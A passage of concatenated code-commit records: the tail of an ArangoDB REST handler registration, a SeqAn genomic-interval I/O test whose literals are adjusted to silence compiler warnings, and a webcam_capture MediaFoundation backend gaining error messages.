RestHandlerCreator<RestSimpleHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_REMOVE_PATH,\n      RestHandlerCreator<RestSimpleHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::UPLOAD_PATH,\n      RestHandlerCreator<RestUploadHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/shard-comm\", RestHandlerCreator<RestShardHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/aql\",\n      RestHandlerCreator<aql::RestAqlHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/query\", RestHandlerCreator<RestQueryHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/query-cache\",\n      RestHandlerCreator<RestQueryCacheHandler>::createNoData);\n\n  if (agency->isEnabled()) {\n    _handlerFactory->addPrefixHandler(\n        RestVocbaseBaseHandler::AGENCY_PATH,\n        RestHandlerCreator<RestAgencyHandler>::createData<consensus::Agent*>,\n        agency->agent());\n\n    _handlerFactory->addPrefixHandler(\n        RestVocbaseBaseHandler::AGENCY_PRIV_PATH,\n        RestHandlerCreator<RestAgencyPrivHandler>::createData<\n            consensus::Agent*>,\n        agency->agent());\n  }\n\n  if (cluster->isEnabled()) {\n    \/\/ add \"\/agency-callbacks\" handler\n    _handlerFactory->addPrefixHandler(\n        cluster->agencyCallbacksPath(),\n        RestHandlerCreator<RestAgencyCallbacksHandler>::createData<\n            AgencyCallbackRegistry*>,\n        cluster->agencyCallbackRegistry());\n  }\n\n  \/\/ And now some handlers which are registered in both \/_api and \/_admin\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/job\", RestHandlerCreator<arangodb::RestJobHandler>::createData<\n                       AsyncJobManager*>,\n      _jobManager.get());\n\n  _handlerFactory->addHandler(\n      \"\/_api\/version\", RestHandlerCreator<RestVersionHandler>::createNoData);\n\n  \/\/ ...........................................................................\n  \/\/ \/_admin\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/job\", RestHandlerCreator<arangodb::RestJobHandler>::createData<\n                         AsyncJobManager*>,\n      _jobManager.get());\n\n  _handlerFactory->addHandler(\n      \"\/_admin\/version\", RestHandlerCreator<RestVersionHandler>::createNoData);\n\n  \/\/ further admin handlers\n  _handlerFactory->addHandler(\n      \"\/_admin\/log\",\n      RestHandlerCreator<arangodb::RestAdminLogHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/work-monitor\",\n      RestHandlerCreator<WorkMonitorHandler>::createNoData);\n\n  _handlerFactory->addHandler(\n      \"\/_admin\/json-echo\",\n      RestHandlerCreator<RestEchoHandler>::createNoData);\n\n#ifdef ARANGODB_ENABLE_FAILURE_TESTS\n  \/\/ This handler is to activate SYS_DEBUG_FAILAT on DB servers\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/debug\", RestHandlerCreator<RestDebugHandler>::createNoData);\n#endif\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/shutdown\",\n      RestHandlerCreator<arangodb::RestShutdownHandler>::createNoData);\n\n  \/\/ ...........................................................................\n  \/\/ \/_admin\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      \"\/\", RestHandlerCreator<RestActionHandler>::createData<\n               RestActionHandler::action_options_t*>,\n      (void*)&_httpOptions);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ==========================================================================\n\/\/                 SeqAn - The Library for Sequence Analysis\n\/\/ ==========================================================================\n\/\/ Copyright (c) 2006-2014, Knut Reinert, FU Berlin\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/     * Neither the name of Knut Reinert or the FU Berlin nor the names of\n\/\/       its contributors may be used to endorse or promote products derived\n\/\/       from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL KNUT REINERT OR THE FU BERLIN BE LIABLE\n\/\/ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n\/\/ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n\/\/ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n\/\/ OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n\/\/ DAMAGE.\n\/\/\n\/\/ ==========================================================================\n\/\/ Author: Manuel Holtgrewe <manuel.holtgrewe@fu-berlin.de>\n\/\/ ==========================================================================\n\n#include <sstream>\n\n#include <seqan\/basic.h>\n#include <seqan\/stream.h>\n\n#include <seqan\/simple_intervals_io.h>\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_read_records)\n{\n    \/\/ Input file contents and input iterator.\n    std::string input = \"chr1:2489281-2489282\\n\"\n                        \"chr4:2489841\\n\";\n    typename seqan::DirectionIterator<std::string, seqan::Input>::Type it =\n        directionIterator(input, seqan::Input());\n\n    \/\/ Buffers and record.\n    seqan::SimpleIntervalsIOContext context;\n    seqan::GenomicRegion region;\n\n    \/\/ Read and check first record.\n    readRecord(region, context, it, seqan::SimpleIntervals());\n    SEQAN_ASSERT_EQ(region.seqName, \"chr1\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489280u);\n    SEQAN_ASSERT_EQ(region.endPos, 2489282u);\n\n    \/\/ Read and check second record.\n    readRecord(region, context, it, seqan::SimpleIntervals());\n    SEQAN_ASSERT_EQ(region.seqName, \"chr4\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489840u);\n    SEQAN_ASSERT_EQ(region.endPos, 2489841u);\n\n    \/\/ We should be at the end of the file.\n    SEQAN_ASSERT(atEnd(it));\n}\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_write_records)\n{\n    \/\/ Output buffer and output iterator.\n    seqan::CharString out;\n    typename seqan::DirectionIterator<seqan::CharString, seqan::Output>::Type it =\n        directionIterator(out, seqan::Output());\n\n    \/\/ Buffer and record.\n    seqan::GenomicRegion region;\n    seqan::SimpleIntervalsIOContext context;\n\n    \/\/ Write out first record.\n    region.seqName = \"chr1\";\n    region.beginPos = 2489280;\n    region.endPos = 2489282;\n    writeRecord(it, context, region, seqan::SimpleIntervals());\n\n    \/\/ Write out second record.\n    region.seqName = \"chr4\";\n    region.beginPos = 2489840;\n    region.endPos = 2489841;\n    writeRecord(it, context, region, seqan::SimpleIntervals());\n\n    seqan::CharString expected = \"chr1:2489281-2489282\\n\"\n                                 \"chr4:2489841\\n\";\n    SEQAN_ASSERT_EQ(expected, out);\n}\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_smart_file_read)\n{\n    \/\/ Input file contents and input iterator.\n    std::istringstream input(\"chr1:2489281-2489282\\n\"\n                             \"chr4:2489841\\n\");\n    seqan::SimpleIntervalsFileIn simple_intervalsIn(input);\n\n    \/\/ Buffers and record.\n    seqan::SimpleIntervalsIOContext context;\n    seqan::GenomicRegion region;\n\n    \/\/ Read and check first record.\n    readRecord(region, simple_intervalsIn);\n    SEQAN_ASSERT_EQ(region.seqName, \"chr1\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489280u);\n    SEQAN_ASSERT_EQ(region.endPos, 2489282u);\n\n    \/\/ Read and check second record.\n    readRecord(region, simple_intervalsIn);\n    SEQAN_ASSERT_EQ(region.seqName, \"chr4\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489840u);\n    SEQAN_ASSERT_EQ(region.endPos, 2489841u);\n\n    \/\/ We should be at the end of the file.\n    SEQAN_ASSERT(atEnd(simple_intervalsIn));\n}\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_smart_file_write)\n{\n    \/\/ Output buffer and output iterator.\n    std::ostringstream output;\n    seqan::SimpleIntervalsFileOut simple_intervalsOut(output, seqan::SimpleIntervals());\n\n    \/\/ Buffer and record.\n    seqan::GenomicRegion region;\n    seqan::SimpleIntervalsIOContext context;\n\n    \/\/ Write out first record.\n    region.seqName = \"chr1\";\n    region.beginPos = 2489280;\n    region.endPos = 2489282;\n    writeRecord(simple_intervalsOut, region);\n\n    \/\/ Write out second record.\n    region.seqName = \"chr4\";\n    region.beginPos = 2489840;\n    region.endPos = 2489841;\n    writeRecord(simple_intervalsOut, region);\n\n    seqan::CharString expected = \"chr1:2489281-2489282\\n\"\n                                 \"chr4:2489841\\n\";\n    SEQAN_ASSERT_EQ(expected, output.str());\n}\n\nSEQAN_BEGIN_TESTSUITE(test_simple_intervals_io)\n{\n\tSEQAN_CALL_TEST(test_simple_intervals_io_read_records);\n\tSEQAN_CALL_TEST(test_simple_intervals_io_write_records);\n\n\tSEQAN_CALL_TEST(test_simple_intervals_io_smart_file_read);\n\tSEQAN_CALL_TEST(test_simple_intervals_io_smart_file_write);\n}\nSEQAN_END_TESTSUITE\n<commit_msg>[FIX] Fixes compiler warnings for comparison of different types.<commit_after>\/\/ ==========================================================================\n\/\/                 SeqAn - The Library for Sequence Analysis\n\/\/ ==========================================================================\n\/\/ Copyright (c) 2006-2014, Knut Reinert, FU Berlin\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/     * Neither the name of Knut Reinert or the FU Berlin nor the names of\n\/\/       its contributors may be used to endorse or promote products derived\n\/\/       from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL KNUT REINERT OR THE FU BERLIN BE LIABLE\n\/\/ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n\/\/ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n\/\/ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n\/\/ OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n\/\/ DAMAGE.\n\/\/\n\/\/ ==========================================================================\n\/\/ Author: Manuel Holtgrewe <manuel.holtgrewe@fu-berlin.de>\n\/\/ ==========================================================================\n\n#include <sstream>\n\n#include <seqan\/basic.h>\n#include <seqan\/stream.h>\n\n#include <seqan\/simple_intervals_io.h>\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_read_records)\n{\n    \/\/ Input file contents and input iterator.\n    std::string input = \"chr1:2489281-2489282\\n\"\n                        \"chr4:2489841\\n\";\n    typename seqan::DirectionIterator<std::string, seqan::Input>::Type it =\n        directionIterator(input, seqan::Input());\n\n    \/\/ Buffers and record.\n    seqan::SimpleIntervalsIOContext context;\n    seqan::GenomicRegion region;\n\n    \/\/ Read and check first record.\n    readRecord(region, context, it, seqan::SimpleIntervals());\n    SEQAN_ASSERT_EQ(region.seqName, \"chr1\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489280);\n    SEQAN_ASSERT_EQ(region.endPos, 2489282);\n\n    \/\/ Read and check second record.\n    readRecord(region, context, it, seqan::SimpleIntervals());\n    SEQAN_ASSERT_EQ(region.seqName, \"chr4\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489840);\n    SEQAN_ASSERT_EQ(region.endPos, 2489841);\n\n    \/\/ We should be at the end of the file.\n    SEQAN_ASSERT(atEnd(it));\n}\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_write_records)\n{\n    \/\/ Output buffer and output iterator.\n    seqan::CharString out;\n    typename seqan::DirectionIterator<seqan::CharString, seqan::Output>::Type it =\n        directionIterator(out, seqan::Output());\n\n    \/\/ Buffer and record.\n    seqan::GenomicRegion region;\n    seqan::SimpleIntervalsIOContext context;\n\n    \/\/ Write out first record.\n    region.seqName = \"chr1\";\n    region.beginPos = 2489280;\n    region.endPos = 2489282;\n    writeRecord(it, context, region, seqan::SimpleIntervals());\n\n    \/\/ Write out second record.\n    region.seqName = \"chr4\";\n    region.beginPos = 2489840;\n    region.endPos = 2489841;\n    writeRecord(it, context, region, seqan::SimpleIntervals());\n\n    seqan::CharString expected = \"chr1:2489281-2489282\\n\"\n                                 \"chr4:2489841\\n\";\n    SEQAN_ASSERT_EQ(expected, out);\n}\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_smart_file_read)\n{\n    \/\/ Input file contents and input iterator.\n    std::istringstream input(\"chr1:2489281-2489282\\n\"\n                             \"chr4:2489841\\n\");\n    seqan::SimpleIntervalsFileIn simple_intervalsIn(input);\n\n    \/\/ Buffers and record.\n    seqan::SimpleIntervalsIOContext context;\n    seqan::GenomicRegion region;\n\n    \/\/ Read and check first record.\n    readRecord(region, simple_intervalsIn);\n    SEQAN_ASSERT_EQ(region.seqName, \"chr1\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489280);\n    SEQAN_ASSERT_EQ(region.endPos, 2489282);\n\n    \/\/ Read and check second record.\n    readRecord(region, simple_intervalsIn);\n    SEQAN_ASSERT_EQ(region.seqName, \"chr4\");\n    SEQAN_ASSERT_EQ(region.beginPos, 2489840);\n    SEQAN_ASSERT_EQ(region.endPos, 2489841);\n\n    \/\/ We should be at the end of the file.\n    SEQAN_ASSERT(atEnd(simple_intervalsIn));\n}\n\nSEQAN_DEFINE_TEST(test_simple_intervals_io_smart_file_write)\n{\n    \/\/ Output buffer and output iterator.\n    std::ostringstream output;\n    seqan::SimpleIntervalsFileOut simple_intervalsOut(output, seqan::SimpleIntervals());\n\n    \/\/ Buffer and record.\n    seqan::GenomicRegion region;\n    seqan::SimpleIntervalsIOContext context;\n\n    \/\/ Write out first record.\n    region.seqName = \"chr1\";\n    region.beginPos = 2489280;\n    region.endPos = 2489282;\n    writeRecord(simple_intervalsOut, region);\n\n    \/\/ Write out second record.\n    region.seqName = \"chr4\";\n    region.beginPos = 2489840;\n    region.endPos = 2489841;\n    writeRecord(simple_intervalsOut, region);\n\n    seqan::CharString expected = \"chr1:2489281-2489282\\n\"\n                                 \"chr4:2489841\\n\";\n    SEQAN_ASSERT_EQ(expected, output.str());\n}\n\nSEQAN_BEGIN_TESTSUITE(test_simple_intervals_io)\n{\n\tSEQAN_CALL_TEST(test_simple_intervals_io_read_records);\n\tSEQAN_CALL_TEST(test_simple_intervals_io_write_records);\n\n\tSEQAN_CALL_TEST(test_simple_intervals_io_smart_file_read);\n\tSEQAN_CALL_TEST(test_simple_intervals_io_smart_file_write);\n}\nSEQAN_END_TESTSUITE\n<|endoftext|>"}
{"text":"<commit_before>\/**\n    This source is using code from the https:\/\/github.com\/roxlu\/video_capture\n    distributed under the Apache 2.0 license\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\/\n\n#include \"media_foundation_backend.h\"\n\n#include \"..\/utils.h\"\n#include \"..\/winapi_shared\/winapi_shared_unique_id.h\"\n#include \"media_foundation_camera.h\"\n#include \"media_foundation_utils.h\"\n\n#include <string>\n\n#include <windows.h>\n#include <mfapi.h>\n#include <mferror.h>            \/* MediaFoundation error codes, MF_E_* *\/\n#include <mfidl.h>              \/* e.g. MFEnumDeviceSources *\/\n#include <mfplay.h>\n#include <mfreadwrite.h>\n#include <shlwapi.h>\n\nnamespace webcam_capture {\n\nMediaFoundation_Backend::MediaFoundation_Backend(std::shared_ptr<void> &deinitializer) :\n    BackendInterface(BackendImplementation::MediaFoundation),\n    mfDeinitializer(deinitializer),\n    notificationManager(BackendImplementation::MediaFoundation)\n{\n  \/\/ empty\n}\n\nstd::unique_ptr<BackendInterface> MediaFoundation_Backend::create()\n{\n    \/\/ Initialize COM\n    HRESULT hr = CoInitializeEx(0, COINIT_MULTITHREADED);\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to initialize COM.\", hr);\n\n        \/\/ let RPC_E_CHANGED_MODE pass\n        if (hr != RPC_E_CHANGED_MODE) {\n            return nullptr;\n        }\n    }\n\n    \/\/ \"To close the COM library gracefully on a thread, each successful call to CoInitialize or CoInitializeEx,\n    \/\/ including any call that returns S_FALSE, must be balanced by a corresponding call to CoUninitialize.\" --msdn\n    bool deinitializeCom = hr == S_OK || hr == S_FALSE;\n\n    \/\/ Initialize MediaFoundation\n    hr = MFStartup(MF_VERSION);\n\n    \/\/ \"Before your application quits, call MFShutdown once for every previous call to MFStartup.\" --msdn\n    \/\/ so assuming we need to shutdown it even on failures, thus no conditionals like `deinitializeCom`\n\n    std::shared_ptr<void> deinitializer = std::shared_ptr<void>(nullptr,\n                                                                std::bind(&MediaFoundation_Backend::DeinitBackend,\n                                                                          std::placeholders::_1, deinitializeCom));\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to start Media Foundation.\", hr);\n        return nullptr;\n    }\n\n    return std::unique_ptr<BackendInterface>(new MediaFoundation_Backend(deinitializer));\n}\n\nvoid MediaFoundation_Backend::DeinitBackend(void *, bool deinitializeCom)\n{\n    \/* Shutdown MediaFoundation *\/\n    HRESULT hr = MFShutdown();\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to shutdown the MediaFoundation.\", hr);\n    }\n\n    \/* Shutdown COM *\/\n    if (deinitializeCom) {\n        CoUninitialize();\n    }\n    DEBUG_PRINT(\"MediaFoundation_Backend Successfully deinited.\");\n}\n\nstd::vector<CameraInformation> MediaFoundation_Backend::getAvailableCameras() const\n{\n\n    std::vector<CameraInformation> result;\n    UINT32 count = 0;\n    IMFAttributes *config = NULL;\n    IMFActivate **devices = NULL;\n\n    HRESULT hr = MFCreateAttributes(&config, 1);\n\n    if (FAILED(hr)) {\n        goto done;\n    }\n\n    \/\/ Filter capture devices.\n    hr = config->SetGUID(MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE,  MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE_VIDCAP_GUID);\n\n    if (FAILED(hr)) {\n        goto done;\n    }\n\n    \/\/ Enumerate devices\n    hr = MFEnumDeviceSources(config, &devices, &count);\n\n    if (FAILED(hr)) {\n        goto done;\n    }\n\n    if (count == 0) {\n        goto done;\n    }\n\n    for (DWORD i = 0; i < count; ++i) {\n        HRESULT hr1 = S_OK;\n        HRESULT hr2 = S_OK;\n        WCHAR *friendly_name = NULL;\n        WCHAR *symbolic_link = NULL;\n        UINT32 friendly_name_len = 0;\n        UINT32 symbolic_link_len = 0;\n\n        hr1 = devices[i]->GetAllocatedString(MF_DEVSOURCE_ATTRIBUTE_FRIENDLY_NAME, &friendly_name, &friendly_name_len);\n        hr2 = devices[i]->GetAllocatedString(MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE_VIDCAP_SYMBOLIC_LINK,\n                                             &symbolic_link, &symbolic_link_len);\n\n        if (SUCCEEDED(hr1) && SUCCEEDED(hr2)) {\n            std::string name = string_cast<std::string>(friendly_name);\n            result.push_back({std::make_shared<WinapiShared_UniqueId>(symbolic_link, BackendImplementation::MediaFoundation),\n                              name});\n        }\n\n        CoTaskMemFree(symbolic_link);\n        CoTaskMemFree(friendly_name);\n    }\n\ndone:\n    safeReleaseMediaFoundation(&config);\n\n    for (DWORD i = 0; i < count; ++i) {\n        safeReleaseMediaFoundation(&devices[i]);\n    }\n\n    CoTaskMemFree(devices);\n\n    return result;\n}\n\nstd::unique_ptr<webcam_capture::CameraInterface> MediaFoundation_Backend::getCamera(const CameraInformation &information) const\n{\n    return MediaFoundation_Camera::create(mfDeinitializer, information);\n}\n\nint MediaFoundation_Backend::setCameraConnectionStateCallback(CameraConnectionStateCallback callback)\n{\n    \/\/IF n_callback is null_ptr or n_callback function is empty\n    if (!callback) {\n        notificationManager.stop();\n        return -1;      \/\/TODO Err code\n    }\n\n    notificationManager.start(callback);\n    return 1; \/\/TODO ERR code (success)\n}\n\n} \/\/ namespace webcam_capture\n<commit_msg>Improved error handling and error messages in MediaFoundation_Backend<commit_after>\/**\n    This source is using code from the https:\/\/github.com\/roxlu\/video_capture\n    distributed under the Apache 2.0 license\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\/\n\n#include \"media_foundation_backend.h\"\n\n#include \"..\/utils.h\"\n#include \"..\/winapi_shared\/winapi_shared_unique_id.h\"\n#include \"media_foundation_camera.h\"\n#include \"media_foundation_utils.h\"\n\n#include <string>\n\n#include <windows.h>\n#include <mfapi.h>\n#include <mferror.h>\n#include <mfidl.h>\n#include <mfplay.h>\n#include <mfreadwrite.h>\n#include <shlwapi.h>\n\nnamespace webcam_capture {\n\nMediaFoundation_Backend::MediaFoundation_Backend(std::shared_ptr<void> &deinitializer) :\n    BackendInterface(BackendImplementation::MediaFoundation),\n    mfDeinitializer(deinitializer),\n    notificationManager(BackendImplementation::MediaFoundation)\n{\n  \/\/ empty\n}\n\nstd::unique_ptr<BackendInterface> MediaFoundation_Backend::create()\n{\n    \/\/ Initialize COM\n    HRESULT hr = CoInitializeEx(0, COINIT_MULTITHREADED);\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to initialize COM.\", hr);\n\n        \/\/ let RPC_E_CHANGED_MODE pass\n        if (hr != RPC_E_CHANGED_MODE) {\n            return nullptr;\n        }\n    }\n\n    \/\/ \"To close the COM library gracefully on a thread, each successful call to CoInitialize or CoInitializeEx,\n    \/\/ including any call that returns S_FALSE, must be balanced by a corresponding call to CoUninitialize.\" --msdn\n    bool deinitializeCom = hr == S_OK || hr == S_FALSE;\n\n    \/\/ Initialize MediaFoundation\n    hr = MFStartup(MF_VERSION);\n\n    \/\/ \"Before your application quits, call MFShutdown once for every previous call to MFStartup.\" --msdn\n    \/\/ so assuming we need to shutdown it even on failures, thus no conditionals like `deinitializeCom`\n\n    std::shared_ptr<void> deinitializer = std::shared_ptr<void>(nullptr,\n                                                                std::bind(&MediaFoundation_Backend::DeinitBackend,\n                                                                          std::placeholders::_1, deinitializeCom));\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to start Media Foundation.\", hr);\n        return nullptr;\n    }\n\n    return std::unique_ptr<BackendInterface>(new MediaFoundation_Backend(deinitializer));\n}\n\nvoid MediaFoundation_Backend::DeinitBackend(void *, bool deinitializeCom)\n{\n    \/* Shutdown MediaFoundation *\/\n    HRESULT hr = MFShutdown();\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to shutdown the MediaFoundation.\", hr);\n    }\n\n    \/* Shutdown COM *\/\n    if (deinitializeCom) {\n        CoUninitialize();\n    }\n\n    DEBUG_PRINT(\"MediaFoundation_Backend successfully deinitilized\");\n}\n\nstd::vector<CameraInformation> MediaFoundation_Backend::getAvailableCameras() const\n{\n\n    std::vector<CameraInformation> result;\n    UINT32 count = 0;\n    IMFAttributes *config = NULL;\n    IMFActivate **devices = NULL;\n\n    HRESULT hr = MFCreateAttributes(&config, 1);\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to create attribute store.\", hr);\n        goto done;\n    }\n\n    \/\/ Filter capture devices.\n    hr = config->SetGUID(MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE, MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE_VIDCAP_GUID);\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to set GUID on an attribute.\", hr);\n        goto done;\n    }\n\n    \/\/ Enumerate devices\n    hr = MFEnumDeviceSources(config, &devices, &count);\n\n    if (FAILED(hr)) {\n        DEBUG_PRINT_HR_ERROR(\"Failed to get an enumeration of cameras.\", hr);\n        goto done;\n    }\n\n    if (count == 0) {\n        DEBUG_PRINT(\"No video capture devices found.\");\n        goto done;\n    }\n\n    for (DWORD i = 0; i < count; ++i) {\n        HRESULT hr1 = S_OK;\n        HRESULT hr2 = S_OK;\n        WCHAR *friendly_name = NULL;\n        WCHAR *symbolic_link = NULL;\n        UINT32 friendly_name_len = 0;\n        UINT32 symbolic_link_len = 0;\n\n        hr1 = devices[i]->GetAllocatedString(MF_DEVSOURCE_ATTRIBUTE_FRIENDLY_NAME, &friendly_name, &friendly_name_len);\n        hr2 = devices[i]->GetAllocatedString(MF_DEVSOURCE_ATTRIBUTE_SOURCE_TYPE_VIDCAP_SYMBOLIC_LINK,\n                                             &symbolic_link, &symbolic_link_len);\n\n        if (SUCCEEDED(hr1) && SUCCEEDED(hr2)) {\n            std::string name = string_cast<std::string>(friendly_name);\n            result.push_back({std::make_shared<WinapiShared_UniqueId>(symbolic_link, BackendImplementation::MediaFoundation),\n                              name});\n        }\n\n        if (SUCCEEDED(hr1)) {\n            CoTaskMemFree(friendly_name);\n        } else {\n            DEBUG_PRINT_HR_ERROR(\"Failed to get name of a camera.\", hr1);\n        }\n\n        if (SUCCEEDED(hr2)) {\n            CoTaskMemFree(symbolic_link);\n        } else {\n            DEBUG_PRINT_HR_ERROR(\"Failed to get unique id of a camera.\", hr2);\n        }\n\n    }\n\ndone:\n    safeReleaseMediaFoundation(&config);\n\n    for (DWORD i = 0; i < count; ++i) {\n        safeReleaseMediaFoundation(&devices[i]);\n    }\n\n    CoTaskMemFree(devices);\n\n    return result;\n}\n\nstd::unique_ptr<webcam_capture::CameraInterface> MediaFoundation_Backend::getCamera(const CameraInformation &information) const\n{\n    return MediaFoundation_Camera::create(mfDeinitializer, information);\n}\n\nint MediaFoundation_Backend::setCameraConnectionStateCallback(CameraConnectionStateCallback callback)\n{\n    \/\/ if callback is nullptr or callback has no function set\n    if (!callback) {\n        notificationManager.stop();\n        return -1;      \/\/TODO Err code\n    }\n\n    notificationManager.start(callback);\n    return 1; \/\/TODO ERR code (success)\n}\n\n} \/\/ namespace webcam_capture\n<|endoftext|>"}
